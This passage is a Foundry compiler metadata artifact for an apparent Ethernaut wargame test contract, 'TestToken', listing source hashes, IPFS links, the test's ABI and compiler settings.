05f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Token.t.sol\":{\"keccak256\":\"0xb38d341efd33d02662f240f0b70b76578e70b1629993ce3fb6043d4d43f4e9f5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6c06db9b9798838d4e5a15f017932c69dec59b06859bf547a9394b6a0126901c\",\"dweb:/ipfs/QmQZN7JiSLV8UF3UffdS9jY62xZQHEgnnSftp5Gxm6aZyu\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Token.t.sol":"TestToken"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895o